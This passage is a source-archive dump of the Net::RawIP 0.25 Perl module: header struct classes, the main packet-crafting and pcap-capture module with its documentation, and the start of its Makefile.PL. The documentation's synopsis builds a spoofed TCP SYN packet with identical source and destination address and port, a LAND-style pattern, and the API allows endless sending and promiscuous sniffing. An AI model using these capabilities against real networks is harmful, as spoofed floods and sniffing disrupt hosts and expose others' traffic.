u_int16_t tot_len; u_int16_t id; u_int16_t frag_off; u_int8_t ttl; u_int8_t protocol; u_int16_t check; u_int32_t saddr; u_int32_t daddr; }; Net-RawIP-0.25/lib/0000755000076500007650000000000011102166627015644 5ustar maddinguemaddingue00000000000000Net-RawIP-0.25/lib/Net/0000755000076500007650000000000011102166627016372 5ustar maddinguemaddingue00000000000000Net-RawIP-0.25/lib/Net/RawIP/0000755000076500007650000000000011102166627017354 5ustar maddinguemaddingue00000000000000Net-RawIP-0.25/lib/Net/RawIP/ethhdr.pm0000644000076500007650000000032511077221242021164 0ustar maddinguemaddingue00000000000000package Net::RawIP::ethhdr; use strict; use warnings; our $VERSION = '0.24'; use Class::Struct qw(struct); our @ethhdr = qw(dest source proto); struct ( 'Net::RawIP::ethhdr' => [map { $_ => '$' } @ethhdr ] ); 1; Net-RawIP-0.25/lib/Net/RawIP/generichdr.pm0000644000076500007650000000033011077221245022017 0ustar maddinguemaddingue00000000000000package Net::RawIP::generichdr; use strict; use warnings; our $VERSION = '0.24'; use Class::Struct qw(struct); our @generichdr = qw(data); struct ( 'Net::RawIP::generichdr' => [map { $_ => '$' } @generichdr ] ); 1; Net-RawIP-0.25/lib/Net/RawIP/icmphdr.pm0000644000076500007650000000037311077221247021344 0ustar maddinguemaddingue00000000000000package Net::RawIP::icmphdr; use strict; use warnings; our $VERSION = '0.24'; use Class::Struct qw(struct); our @icmphdr = qw(type code check gateway id sequence unused mtu data); struct ( 'Net::RawIP::icmphdr' => [map { $_ => '$' } @icmphdr ] ); 1; Net-RawIP-0.25/lib/Net/RawIP/iphdr.pm0000644000076500007650000000040711077221251021015 0ustar maddinguemaddingue00000000000000package Net::RawIP::iphdr; use strict; use warnings; our $VERSION = '0.24'; use Class::Struct qw(struct); our @iphdr = qw(version ihl tos tot_len id frag_off ttl protocol check saddr daddr); struct ( 'Net::RawIP::iphdr' => [ map { $_ => '$' } @iphdr ] ); 1; Net-RawIP-0.25/lib/Net/RawIP/opt.pm0000644000076500007650000000030411077221254020510 0ustar maddinguemaddingue00000000000000package Net::RawIP::opt; use strict; use warnings; our $VERSION = '0.24'; use Class::Struct qw(struct); my @opt = qw(type len data); struct ( 'Net::RawIP::opt' => [map { $_ => '@' } @opt ] ); 1; Net-RawIP-0.25/lib/Net/RawIP/tcphdr.pm0000644000076500007650000000044011077221256021175 0ustar maddinguemaddingue00000000000000package Net::RawIP::tcphdr; use strict; use warnings; our $VERSION = '0.24'; use Class::Struct qw(struct); our @tcphdr = qw(source dest seq ack_seq doff res1 res2 urg ack psh rst syn fin window check urg_ptr data); struct ( 'Net::RawIP::tcphdr' => [map { $_ => '$' } @tcphdr ] ); 1; Net-RawIP-0.25/lib/Net/RawIP/udphdr.pm0000644000076500007650000000033611077221260021176 0ustar maddinguemaddingue00000000000000package Net::RawIP::udphdr; use strict; use warnings; our $VERSION = '0.24'; use Class::Struct qw(struct); our @udphdr = qw(source dest len check data); struct ( 'Net::RawIP::udphdr' => [map { $_ => '$' } @udphdr ] ); 1; Net-RawIP-0.25/lib/Net/RawIP.pm0000644000076500007650000010371011102166112017701 0ustar maddinguemaddingue00000000000000package Net::RawIP; use strict; use warnings; use AutoLoader (); use Carp; use Exporter (); use English qw( -no_match_vars ); use Net::RawIP::iphdr; use Net::RawIP::tcphdr; use Net::RawIP::udphdr; use Net::RawIP::icmphdr; use Net::RawIP::generichdr; use Net::RawIP::opt; use Net::RawIP::ethhdr; use vars qw($VERSION @ISA @EXPORT @EXPORT_OK %EXPORT_TAGS $AUTOLOAD); use subs qw(timem ifaddrlist); $VERSION = "0.25"; @ISA = qw(Exporter DynaLoader); @EXPORT = qw(timem open_live dump_open dispatch dump loop linkoffset ifaddrlist rdev); @EXPORT_OK = qw( PCAP_ERRBUF_SIZE PCAP_VERSION_MAJOR PCAP_VERSION_MINOR lib_pcap_h open_live open_offline dump_open lookupdev lookupnet dispatch loop dump compile setfilter next datalink snapshot is_swapped major_version minor_version stats file fileno perror geterr strerror close dump_close); %EXPORT_TAGS = ( 'pcap' => [ qw( PCAP_ERRBUF_SIZE PCAP_VERSION_MAJOR PCAP_VERSION_MINOR lib_pcap_h open_live open_offline dump_open lookupdev lookupnet dispatch loop dump compile setfilter next datalink snapshot is_swapped major_version minor_version stats file fileno perror geterr strerror close dump_close timem linkoffset ifaddrlist rdev) ] ); # load the shared object eval { require XSLoader; XSLoader::load("Net::RawIP", $VERSION); 1 } or do { require DynaLoader; push @ISA, "DynaLoader"; bootstrap Net::RawIP $VERSION; }; # The number of members in the sub modules my %n = ( tcp => 17, udp => 5, icmp => 9, generic => 1, ); my @valid_protocols = qw(tcp udp icmp generic); sub AUTOLOAD { my $constname; ($constname = $AUTOLOAD) =~ s/.*:://; croak "& not defined" if $constname eq 'constant'; my $val = constant($constname, @_ ? $_[0] : 0); if ($! != 0) { if ($! =~ /Invalid/) { $AutoLoader::AUTOLOAD = $AUTOLOAD; goto &AutoLoader::AUTOLOAD; } else { croak "Your vendor has not defined Net::RawIP macro $constname"; } } *$AUTOLOAD = sub () { $val }; goto &$AUTOLOAD; } # The constructor sub new { my ($proto, $ref) = @_; my $class = ref($proto) || $proto; my $self = {}; bless $self, $class; # Determine which protocol (tcp by default) $ref ||= {}; foreach my $k (keys %$ref) { croak "'$k' is not a valid key\n" if not grep {$_ eq $k} (@valid_protocols, 'ip'); } $self->proto($ref); $self->_unpack($ref);; return $self } sub proto { my ($class, $args) = @_; if (not $class->{proto}) { my $proto; foreach my $p (@valid_protocols) { if (exists $args->{$p}) { croak "Duplicate protocols defined: '$proto' and '$p'\n" if $proto; $proto = $p; } } $proto ||= 'tcp'; $class->{proto} = $proto; } return $class->{proto} } # IP and TCP options sub optset { my ($class, %arg) = @_; # Initialize Net::RawIP::opt objects from argument foreach my $optproto (sort keys %arg) { my $option = "opts$optproto"; if (not $class->{$option}) { $class->{$option} = Net::RawIP::opt->new; } @{$class->{$option}->type} = (); @{$class->{$option}->len} = (); @{$class->{$option}->data} = (); foreach my $k (keys %{ $arg{$optproto} }) { @{ $class->{$option}->$k() } = @{ $arg{$optproto}->{$k} }; } # Compute lengths of options foreach my $i (0..@{ $arg{$optproto}->{data} }-1) { my $len = length($class->{$option}->data($i)); $len = 38 if $len > 38; $class->{$option}->len($i, 2+$len); } # Fill an array with types,lengths,datas and put the reference of this array # to the sub module as last member my @array; foreach my $i (0 .. @{ $class->{$option}->type }-1 ) { push @array, ( $class->{$option}->type($i), $class->{$option}->len($i), $class->{$option}->data($i) ); } my $i = 0; if ($optproto eq 'tcp') { $i = 1; $class->{tcphdr}->[17] = 0 unless defined $class->{tcphdr}->[17]; } ${ $class->{"$class->{proto}hdr"} }[ $i + $n{$class->{proto}} ] = [(@array)] } # Repacking current packet return $class->_pack(1); } sub optget { my ($class, %arg) = @_; my @array; foreach my $optproto (sort keys %arg) { # Get whole array if not specified type of option if (!exists $arg{$optproto}->{type}) { my $i = 0; if ($optproto eq 'tcp'){ $i = 1; } push @array, (@{${$class->{"$class->{proto}hdr"}}[$i+$n{$class->{proto}}]}); } else { # Get array filled with specified options foreach my $type (@{ $arg{$optproto}->{type} }) { my $option = "opts$optproto"; foreach my $i (0 .. @{ $class->{$option}->type() }-1 ) { if ($type == $_) { push @array,($class->{$option}->type($i)); push @array,($class->{$option}->len($i)); push @array,($class->{$option}->data($i)); } } } } } return (@array) } sub optunset { my($class, @arg) = @_; my $i = 0; foreach my $optproto (sort @arg) { if ($optproto eq 'tcp') { $i = 1; # Look at RFC $class->{tcphdr}->doff(5); } else { # Look at RFC $class->{iphdr}->ihl(5); } $class->{"opts$optproto"} = 0; ${$class->{"$class->{proto}hdr"}}[$i+$n{$class->{proto}}] = 0; } return $class->_pack(1); } # An ethernet related initialization # We open descriptor and get hardware and IP addresses of device by tap() sub ethnew { my ($class, $dev, @arg) = @_; my ($ip, $mac); $class->{ethhdr} = Net::RawIP::ethhdr->new; $class->{tap} = tap($dev, $ip, $mac); $class->{ethdev} = $dev; $class->{ethmac} = $mac; $class->{ethip} = $ip; $class->{ethhdr}->dest($mac); $class->{ethhdr}->source($mac); my $ipproto = pack ("n1",0x0800); $class->{ethpack} = $class->{ethhdr}->dest . $class->{ethhdr}->source . $ipproto; $class->ethset(@arg) if @arg; } sub ethset { my ($self, %hash) = @_; map { $self->{ethhdr}->$_($hash{$_}) } keys %hash; my $source = $self->{ethhdr}->source; my $dest = $self->{ethhdr}->dest; if ($source =~ /^(\w\w):(\w\w):(\w\w):(\w\w):(\w\w):(\w\w)$/) { $self->{ethhdr}->source( pack("C6",hex($1),hex($2),hex($3),hex($4),hex($5),hex($6)) ); $source = $self->{ethhdr}->source; } if ($dest =~ /^(\w\w):(\w\w):(\w\w):(\w\w):(\w\w):(\w\w)$/) { $self->{ethhdr}->dest( pack("C6", hex($1),hex($2),hex($3),hex($4),hex($5),hex($6)) ); $dest = $self->{ethhdr}->dest; } # host_to_ip returns IP address of target in host byteorder format $self->{ethhdr}->source(mac(host_to_ip($source))) unless($source =~ /[^A-Za-z0-9\-.]/ && length($source) == 6); $self->{ethhdr}->dest(mac(host_to_ip($dest))) unless($dest =~ /[^A-Za-z0-9\-.]/ && length($dest) == 6); my $ipproto = pack ("n1",0x0800); $self->{ethpack}=$self->{ethhdr}->dest.$self->{ethhdr}->source.$ipproto; } # Lookup for mac address in the ARP cache table # If not successul then send ICMP packet to target and retry lookup sub mac { my ($ip) = @_; my $mac; return $mac if mac_disc($ip, $mac); my $obj = Net::RawIP->new({ ip => { saddr => 0, daddr => $ip, }, icmp => {}, }); $obj->send(1,1); return $mac if mac_disc($ip,$mac); my $ipn = sprintf("%u.%u.%u.%u", unpack("C4", pack("N1",$ip))); croak "Can't discover MAC address for $ipn"; } sub ethsend { my ($self, $delay, $times) = @_; $times ||= 1; for (1..$times) { # The send_eth_packet takes the descriptor,the name of device,the scalar # with packed ethernet packet and the flag (0 - non-ip contents,1 - otherwise) send_eth_packet( $self->{tap}, $self->{ethdev}, $self->{ethpack} . $self->{pack}, 1); sleep $delay if $delay; } } # Allow to send any frames sub send_eth_frame { my ($self, $frame, $delay, $times) = @_; $times ||= 1; for (1..$times) { send_eth_packet( $self->{tap}, $self->{ethdev}, substr($self->{ethpack}, 0, 12) . $frame, 0); sleep $delay if $delay; } } # The initialization with default values sub _unpack { my ($self, $ref) = @_; $self->{iphdr} = Net::RawIP::iphdr->new; my $class = 'Net::RawIP::' . $self->{proto} . 'hdr'; $self->{"$self->{proto}hdr"} = $class->new; my $default_method = $self->{proto} . '_default'; $self->$default_method; $self->set($ref); } sub tcp_default { my ($class) = @_; @{$class->{iphdr}} = (4,5,16,0,0,0x4000,64,6,0,0,0); @{$class->{tcphdr}} = (0,0,0,0,5,0,0,0,0,0,0,0,0,0xffff,0,0,''); } sub udp_default { my ($class) = @_; @{$class->{iphdr}} = (4,5,16,0,0,0x4000,64,17,0,0,0); @{$class->{udphdr}} = (0,0,0,0,''); } sub icmp_default { my ($class) = @_; @{$class->{iphdr}} = (4,5,16,0,0,0x4000,64,1,0,0,0); @{$class->{icmphdr}} = (0,0,0,0,0,0,0,0,''); } sub generic_default { my ($class) = @_; @{$class->{iphdr}} = (4,5,16,0,0,0x4000,64,0,0,0,0); @{$class->{generichdr}} = (''); } # 2xS = 16bits # 1xI = 32bits or more # Byte ordering is unspecified, so it's probably native ordering. # To me using I seems like a bad idea since in some cases this might # be more than 32 bits yet the network structures require exactly # 32 bits, plus they must always be in network byte order (big-endian) # Steve Bonds sub s2i { return unpack("I1", pack("S2", @_)) } # This lies a bit-- the original values passed in may not be in # network byte order but this will reverse them on little-endian hosts # while (hopefully) leaving them alone on big-endian hosts, resulting # in the correct on-the-wire byte ordering. Steve Bonds sub n2L { return unpack("L1", pack("n2", @_)); } # This does the same thing, but for the whole 32 bits at once, suitable # for ICMP packets with the gateway hash key set. sub N2L { return unpack("L1", pack("N1", @_)); } sub _pack { my $self = shift; if (@_) { # A low level *_pkt_creat() functions take reference of array # with all of fields of the packet and return properly packed scalar # These are defined in the Raw.xs file. my $function = $self->{proto} . '_pkt_creat'; ## no critic (ProhibitNoStrict) no strict 'refs'; # not clear to me what is undef here but it trips one of the tests no warnings; my @array = (@{$self->{iphdr}}, @{$self->{"$self->{proto}hdr"}}); $self->{pack} = $function->(\@array); } return $self->{pack}; } sub packet { my $class = shift; return $class->_pack } sub set { my ($self, $hash) = @_; # To handle C union in the ICMP header. That C union is either: # struct # { # u_int16_t id; # u_int16_t sequence; # } echo; /* echo datagram */ # u_int32_t gateway; /* gateway address */ # struct # { # u_int16_t unused; # u_int16_t mtu; # } frag; /* path mtu discovery */ # So we can either set: # + id and sequence, or # + a single gateway address, or # + unused and MTU # My guess is that this exists simply to make it easier to call # things in Perl by the same name as the C union. Steve Bonds my %un = ( id => 'sequence', unused => 'mtu', ); my %revun = reverse %un; # See Class::Struct if (exists $hash->{ip}) { foreach my $k (keys %{ $hash->{ip} }) { $self->{iphdr}->$k( $hash->{ip}->{$k}); } } my $proto = $self->{proto}; if (exists $hash->{$proto}) { foreach my $k (keys %{ $hash->{$proto} }) { $self->{"${proto}hdr"}->$k( $hash->{$proto}->{$k} ) } } # This looks like a good spot to apply the endianness fixes for # id/sequence and/or mtu/unused. Steve Bonds if (exists $hash->{icmp}) { foreach my $k (keys %{ $hash->{icmp} }) { $self->{icmphdr}->$k( $hash->{icmp}->{$k} ); if ($k !~ /gateway/) { if ($un{$k}) { # if $k is "id" or "unused" my $meth = $un{$k}; $self->{icmphdr}->gateway(n2L( $self->{icmphdr}->$k(), $self->{icmphdr}->$meth() )); } elsif ($revun{$k}) { # if $k is "sequence" or "mtu" my $meth = $revun{$k}; $self->{icmphdr}->gateway(n2L( $self->{icmphdr}->$meth(), $self->{icmphdr}->$k() )); } } else { # $k =~ /gateway/ # Not setting icmp => gateway since it's set by the user # However, it may still be in the wrong byte order so # reverse it if needed. Steve Bonds $self->{icmphdr}->gateway(N2L( $hash->{icmp}->{gateway} )); } } } my $saddr = $self->{iphdr}->saddr; my $daddr = $self->{iphdr}->daddr; $self->{iphdr}->saddr(host_to_ip($saddr)) if ($saddr !~ /^-?\d*$/); $self->{iphdr}->daddr(host_to_ip($daddr)) if ($daddr !~ /^-?\d*$/); return $self->_pack(1); } sub bset { my ($self, $hash, $eth) = @_; if ($eth) { $self->{ethpack} = substr($hash,0,14); $hash = substr($hash,14); @{$self->{ethhdr}} = @{eth_parse($self->{ethpack})} } $self->{pack} = $hash; # The low level *_pkt_parse() functions take packet and return reference of # of the array with fields from this packet my $function = $self->{proto} . '_pkt_parse'; ## no critic (ProhibitNoStrict) no strict 'refs'; my $array = $function->($hash); use strict; my $proto_hdr = "$self->{proto}hdr"; # Initialization of IP header object @{$self->{iphdr}} = @$array[0..10]; # Initialization of sub IP object @{$self->{$proto_hdr}}= @$array[11..(@$array-1)]; # If last member in the sub object is a reference of # array with options then we have to initialize Net::RawIP::opt if (ref(${$self->{$proto_hdr}}[$n{$self->{proto}}]) eq 'ARRAY') { my $j = 0; $self->{optsip} = Net::RawIP::opt->new unless $self->{optsip}; @{$self->{optsip}->type} = (); @{$self->{optsip}->len} = (); @{$self->{optsip}->data} = (); for(my $i=0; $i<=(@{${$self->{$proto_hdr}}[$n{$self->{proto}}]} - 2); $i = $i + 3) { $self->{optsip}->type($j, ${${$self->{$proto_hdr}}[$n{$self->{proto}}]}[$i]); $self->{optsip}->len($j, ${${$self->{$proto_hdr}}[$n{$self->{proto}}]}[$i+1]); $self->{optsip}->data($j, ${${$self->{$proto_hdr}}[$n{$self->{proto}}]}[$i+2]); $j++; } } # For handle TCP options if($self->{proto} eq 'tcp') { if (ref(${$self->{tcphdr}}[18]) eq 'ARRAY') { my $j = 0; $self->{optstcp} = Net::RawIP::opt->new unless $self->{optstcp}; @{$self->{optstcp}->type} = (); @{$self->{optstcp}->len} = (); @{$self->{optstcp}->data} = (); for (my $i=0; $i<=(@{${$self->{tcphdr}}[18]} - 2); $i = $i + 3) { $self->{optstcp}->type($j, ${${$self->{tcphdr}}[18]}[$i]); $self->{optstcp}->len($j, ${${$self->{tcphdr}}[18]}[$i+1]); $self->{optstcp}->data($j, ${${$self->{tcphdr}}[18]}[$i+2]); $j++; } } } } sub get { my ($self, $hash) = @_; my $wantarray = wantarray; my %ref = ( tcp => \@Net::RawIP::tcphdr::tcphdr, udp => \@Net::RawIP::udphdr::udphdr, icmp => \@Net::RawIP::icmphdr::icmphdr, generic => \@Net::RawIP::generichdr::generichdr, ); my @array; my %h; map { ${$$hash{ethh}}{$_} = '$' } @{$hash->{eth}}; map { ${$$hash{iph}}{$_} = '$' } @{$hash->{ip}}; map { ${$$hash{"$self->{proto}h"}}{$_} = '$' } @{$hash->{$self->{proto}}}; if (exists $hash->{eth}) { foreach (@Net::RawIP::ethhdr::ethhdr) { if (defined $hash->{ethh}->{$_} and $hash->{ethh}->{$_} eq '$') { if ($wantarray) { push @array, $self->{ethhdr}->$_() } else { $h{$_} = $self->{ethhdr}->$_() } } } } if (exists $hash->{ip}) { foreach (@Net::RawIP::iphdr::iphdr) { if (defined $hash->{iph}->{$_} and $hash->{iph}->{$_} eq '$') { if ($wantarray) { push @array, $self->{iphdr}->$_() } else { $h{$_} = $self->{iphdr}->$_() } } } } if (exists $hash->{ $self->{proto} }) { my $proto_h = "$self->{proto}h"; my $proto_hdr = "$self->{proto}hdr"; foreach (@{ $ref{$self->{proto}} }) { if (defined $hash->{$proto_h}->{$_} and $hash->{$proto_h}->{$_} eq '$') { if ($wantarray) { push @array,$self->{$proto_hdr}->$_() } else { $h{$_} = $self->{$proto_hdr}->$_() } } } } if ($wantarray) { return (@array); } else { return {%h} } } sub send { my ($self, $delay, $times) = @_; $times ||= 1; if (! $self->{raw}) { $self->{raw} = rawsock(); } if ($self->{proto} eq 'icmp' || $self->{proto} eq 'generic') { $self->{sock} = set_sockaddr($self->{iphdr}->daddr,0); } else { $self->{sock} = set_sockaddr($self->{iphdr}->daddr, $self->{"$self->{proto}hdr"}->dest); } for (1..$times) { pkt_send ($self->{raw}, $self->{sock}, $self->{pack}); sleep $delay if $delay; } } sub pcapinit { my ($self, $device, $filter, $size, $tout) = @_; my $promisc = 0x100; my ($erbuf, $program) = ('', 0); my $pcap = open_live($device,$size,$promisc,$tout,$erbuf); croak "Could not open_libe: '$erbuf'" if (! $pcap); croak "compile(): check string with filter" if (compile($pcap,$program,$filter,0,0) < 0); setfilter($pcap, $program); return $pcap } sub pcapinit_offline { my($self,$fname) = @_; my ($erbuf,$pcap) = ('',''); $pcap = open_offline($fname, $erbuf); croak $erbuf if (! $pcap); return $pcap; } sub rdev { my ($addr) = @_; return unless defined $addr and $addr; my $rdev; my $ip = ($addr =~ /^-?\d+$/) ? $addr : host_to_ip($addr); my $ipn = unpack("I", pack("N", $ip)); if (($rdev = ip_rt_dev($ipn)) eq "proc") { my ($dest, $mask); open(my $route, "<", "/proc/net/route") or croak "Can't open /proc/net/route: $!"; while (<$route>) { next if /Destination/; ($rdev, $dest, $mask) = (split(/\s+/))[0,1,7]; last unless ($ipn & hex($mask)) ^ hex($dest); } close($route); $rdev = 'lo' unless ($ip & 0xFF000000) ^ 0x7f000000; # For Linux 2.2.x } croak "rdev(): Destination unreachable" unless $rdev; # The aliasing support $rdev =~ s/([^:]+)(:.+)?/$1/; return $rdev; } sub DESTROY { my $self = shift; closefd($self->{raw}) if exists $self->{raw}; closefd($self->{tap}) if exists $self->{tap}; } "Rawhide!!" __END__ =head1 NAME Net::RawIP - Perl extension to manipulate raw IP packets with interface to B =head VERSION This is the documentation of C version 0.25 =head1 SYNOPSIS use Net::RawIP; $n = Net::RawIP->new({ ip => { saddr => 'my.target.lan', daddr => 'my.target.lan', }, }); tcp => { source => 139, dest => 139, psh => 1, syn => 1, }, }); $n->send; $n->ethnew("eth0"); $n->ethset(source => 'my.target.lan', dest =>'my.target.lan'); $n->ethsend; $p = $n->pcapinit("eth0", "dst port 21", 1500, 30); $f = dump_open($p, "/my/home/log"); loop($p, 10, \&dump, $f); =head1 DESCRIPTION This package provides a class which can be used for creating, manipulating and sending raw IP packets with optional features for manipulating Ethernet headers. B Ethernet related methods are implemented on Linux and *BSD only. As its name implies, this module is quite low-level, and currently duplicates some features with C. If you prefer a higher-level module (in terms of Perl support), please take a look at C, which provides a portable interface to construct and send raw packets on the network. =head1 Exported constants PCAP_ERRBUF_SIZE PCAP_VERSION_MAJOR PCAP_VERSION_MINOR lib_pcap_h =head1 Exported functions open_live open_offline dump_open lookupdev lookupnet dispatch loop dump compile setfilter next datalink snapshot is_swapped major_version minor_version stats file fileno perror geterr strerror close dump_close timem linkoffset ifaddrlist rdev By default exported functions are the B, B, B, B, B, B, B, B, B. You have to use the export tag B for export all of the pcap functions. Please read the docs for the libpcap and look at L. Please look at the examples in the examples/ folder of the distribution. =head1 METHODS =over 3 =item new Net::RawIP->new({ ARGPROTO => {PROTOKEY => PROTOVALUE,...} ip => {IPKEY => IPVALUE,...}, }) B is one of (B, B, B, B) defining the protcol of the current packet. Defaults to B. You can B change protocol in the object after its creation. Unless you want your packet to be TCP, you must set the protocol type in the new() call. The possible values of B depend on the value of ARGPROTO If ARGPROTO is PROTOKEY can be one of (B, B, B, B, B, B, B, B, B, B, B, B, B, B, B, B, B). If ARGPROTO is B PROTOKEY can be one of (B, B, B, B, B, B, B, B, B). If ARGPROTO is B PROTOKEY can be one of (B, B, B, B, B) If ARGPROTO is B PROTOKEY can be B only. The B entries are scalars containing packed network byte order data. As the real icmp packet is a C union one can specify only one of the following set of values. =over =item * B - (int) =item * (B and B) - (short and short) =item * (B and B) - (short and short) =back The default values are: =over =item * (0,0,0,0,5,0,0,0,0,0,0,0,0,0xffff,0,0,'') for tcp =item * (0,0,0,0,0,0,0,0,'') for icmp =item * (0,0,0,0,'') for udp =item * ('') for generic =back The valid values for B B B B B B are 0 or 1. The value of B is a string. Length of the result packet will be calculated if you do not specify non-zero value for B. The value of B is a hash defining the parameters of the IP header (B) in the current IP packet. B is one of (B, B, B, B, B, B, B, B, B, B, B). You can to specify any and all of the above parameters. If B is not given checksum will be calculated automatically. The values of the B and the B can be hostname (e.g. www.oracle.com ) or IP address (205.227.44.16), and even the integer value if you happen to know what is 205.227.44.16 as an unsigned int in the host format ;). Examples: my $rawip = Net::RawIP->new({udp =>{}}); or my $rawip = Net::RawIP->new({ip => { tos => 22 }, udp => { source => 22,dest =>23 } }); The default values of the B hash are =over =item * (4,5,16,0,0,0x4000,64,6,0,0,0) for B =item * (4,5,16,0,0,0x4000,64,17,0,0,0) for B =item * (4,5,16,0,0,0x4000,64,1,0,0,0) for B =item * (4,5,16,0,0,0x4000,64,0,0,0,0) for B =back =item dump_open If B opens and returns a valid file descriptor, this descriptor can be used in the perl callback as a perl filehandle. =item loop =item dispatch B and B can run a perl code refs as a callbacks for packet analyzing and printing. the fourth parameter for B and B can be an array or a hash reference and it can be dereferenced in a perl callback. =item next B returns a string (next packet). =item timem B returns a string that looks like B.B, where the B and the B are the values returned by gettimeofday(3). If B is less than 100000 then zeros will be added to the left side of B for adjusting to six digits. Similar to sprintf("%.6f", Time::HiRes::time()); =for comment TODO: replace this function with use of Time::HiRes ? =item linkoffset The function which called B returns a number of the bytes in the link protocol header e.g. 14 for a Ethernet or 4 for a Point-to-Point protocol. This function has one input parameter (pcap_t*) that is returned by open_live. =item ifaddrlist B returns a hash reference. In this hash keys are the running network devices, values are ip addresses of those devices in an internet address format. =item rdev B returns a name of the outgoing device for given destination address. It has one input parameter (destination address in an internet address or a domain name or a host byteorder int formats). =item proto Returns the name of the subclass current object e.g. B. No input parameters. =item packet Returns a scalar which contain the packed ip packet of the current object. No input parameters. =item set Method for setting the parameters of the current object. The given parameters must look like the parameters for the constructor. =item bset($packet,$eth) Method for setting the parameters of the current object. B<$packet> is a scalar which contain binary structure (an ip or an eth packet). This scalar must match with the subclass of the current object. If B<$eth> is given and it have a non-zero value then assumed that packet is a ethernet packet,otherwise it is a ip packet. =item get is a method for get the parameters from the current object. This method returns the array which will be filled with an asked parameters in order as they have ordered in packet if you'd call it with an array context. If this method is called with a scalar context then it returns a hash reference. In that hash will stored an asked parameters as values,the keys are their names. The input parameter is a hash reference. In this hash can be three keys. They are a B and an one of the Bs. The value must be an array reference. This array contain asked parameters. E.g. you want to know current value of the tos from the iphdr and the flags of the tcphdr. Here is a code : ($tos,$urg,$ack,$psh,$rst,$syn,$fin) = $packet->get({ ip => [qw(tos)], tcp => [qw(psh syn urg ack rst fin)] }); The members in the array can be given in any order. For get the ethernet parameters you have to use the key B and the values of the array (B,B,B). The values of the B and the B will look like the output of the ifconfig(8) e.g. 00:00:E8:43:0B:2A. =item open_live =item send($delay,$times) is a method which has used for send raw ip packet. The input parameters are the delay seconds and the times for repeating send. If you do not specify parameters for the B,then packet will be sent once without delay. If you do specify for the times a negative value then packet will be sent forever. E.g. you want to send the packet for ten times with delay equal to one second. Here is a code : $packet->send(1,10); The delay could be specified not only as integer but and as 0.25 for sleep to 250 ms or 3.5 to sleep for 3 seconds and 500 ms. =item pcapinit($device,$filter,$psize,$timeout) is a method for some a pcap init. The input parameters are a device,a string with a program for a filter,a packet size,a timeout. This method will call the function open_live,then compile the filter string by compile(), set the filter and returns the pointer (B). =item pcapinit_offline($fname) is a method for an offline pcap init.The input parameter is a name of the file which contains raw output of the libpcap dump function. Returns the pointer (B). =item B(B<$device>,B => B,B => B) is a method for init the ethernet subclass in the current object, B<$device> is a required parameter,B and B are an optional, B<$device> is an ethernet device e.g. B, an B and an B are a the ethernet addresses in the ethernet header of the current object. The B and the B can be given as a string which contain just 6 bytes of the real ethernet address or like the output of the ifconfig(8) e.g. 00:00:E8:43:0B:2A or just an ip address or a hostname of a target, then a mac address will be discovered automatically. The ethernet frame will be sent with given addresses. By default the B and the B will be filled with a hardware address of the B<$device>. B For use methods which are related to the ethernet you have to before initialize ethernet subclass by B. =item ethset is a method for set an ethernet parameters in the current object. The given parameters must look like parameters for the B without a B<$device>. =item ethsend is a method for send an ethernet frame. The given parameters must look like a parameters for the B. =item send_eth_frame($frame,$times,$delay) is a method for send any ethernet frame which you may construct by hands.B<$frame> is a packed ethernet frame exept destination and source fields(these fields can be setting by B or B). Another parameters must look like the parameters for the B. =item optset(OPTPROTO => { type => [...],data => [...] },...) is a method for set an IP and a TCP options. The parameters for the optset must be given as a key-value pairs. The B,s are the prototypes of the options(B,B),values are the hashes references.The keys in this hashes are B and B. The value of the B is an array reference. This array must be filled with an integers.Refer to a RFC for a valid types.The value of the B also is an array reference. This array must be filled with strings which must contain all bytes from a option except bytes with type and length of an option.Of course indexes in those arrays must be equal for the one option.If type is equal to 0 or 1 then there is no bytes with a length and a data,but you have to specify zero data for compability. =item B(OPTPROTO => { type => [...] },...) is a method for get an IP and a TCP options. The parameters for the optget must be given as key-value pairs. The B is the prototype of the options(B,B),the values are the hashes references.The key is the B.The value of the B is an array reference. The return value is an array which will be filled with asked types,lengths,datas of the each type of the option in order as you have asked.If you do not specify type then all types,lengths,datas of an options will be returned. E.g. you want to know all the IP options from the current object. Here is a code: @opts = $n->optget(ip => {}); E.g. you want to know just the IP options with the type which equal to 131 and 137. Here is a code: ($t131,$l131,$d131,$t137,$l137,$d137) = $n->optget( ip =>{ type =>[(131,137)] } ); =item B is a method for unset a subclass of the IP or the TCP options from a current object.It can be used if you won't use options in the current object later. This method must be used only after the B. The parameters for this method are the B's. E.g. you want to unset an IP options. Here is a code: $n->optunset('ip'); E.g. you want to unset a TCP and an IP options. Here is a code: $n->optunset('ip','tcp'); =back =head1 SEE ALSO pcap(3), tcpdump(1), RFC 791-793, RFC 768. L, L, L, L L for an alternative module to send raw packets on the network =head1 AUTHORS Current maintainer is SEbastien Aperghis-Tramoni Esebastien@aperghis.netE Previous authors & maintainers: =over =item * Sergey Kolychev Eksv@al.lg.uaE =item * Gabor Szabo Egabor@pti.co.ilE =back =head1 COPYRIGHT & LICENSE Copyright (c) 1998-2006 Sergey Kolychev. All rights reserved. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. =head1 CREDITS Steve Bonds + work on some endianness bugs and improving code comments =cut Net-RawIP-0.25/Makefile.PL0000644000076500007650000000530011077672631017056 0ustar maddinguemaddingue00000000000000use strict; use warnings; use Config; use DynaLoader; use ExtUtils::MakeMaker; my %config = ( 'linux' => [ '-D_LINUX_ -D_ETH_ -D_IFLIST_', 'RawIP.o util.o eth.o ifaddrlist.o', '', q{ $def .= ' -D_GLIBC_' if -e "/usr/include/net/if_packet.h" }, ], 'solaris' => [ '-D_SOLARIS_ -D_IFLIST_', 'RawIP.o util.o ifaddrlist.o', "Sorry,ethernet related methods are not implemented on Solaris\n" . "Sorry, the rdev function is not imlemented on Solaris\n", '', ], 'freebsd' => [ '-D_BSDRAW_ -D_ETH_ -D_BPF_ -D_IFLIST_ -DHAVE_SOCKADDR_SA_LEN', 'RawIP.o util.o ifaddrlist.o eth.o rdev.o', '', '', ], 'openbsd' => [ '-D_ETH_ -D_BPF_ -D_IFLIST_ -DHAVE_SOCKADDR_SA_LEN', 'RawIP.o util.o ifaddrlist.o eth.o rdev.o', '', q{ $def .= ' -D_BSDRAW_' if join('',(split /\./,$Config{osvers})[0,1]) < 21 }, ], 'others' => [ '', 'RawIP.o util.o', "Sorry,ethernet related methods are not implemented on this system\n" . "Sorry, the ifaddrlist function is not imlemented on this system\n" . "Sorry, the rdev function is not imlemented on this system\n", '', ] ); $config{bsdos } = $config{freebsd}; $config{darwin} = $config{freebsd}; $config{netbsd} = $config{freebsd}; my $name = $Config{osname} || "others"; my $def = $config{$name}->[0] . (defined $ENV{CFLAGS} ? " $ENV{'CFLAGS'}" : ""); my $obj = 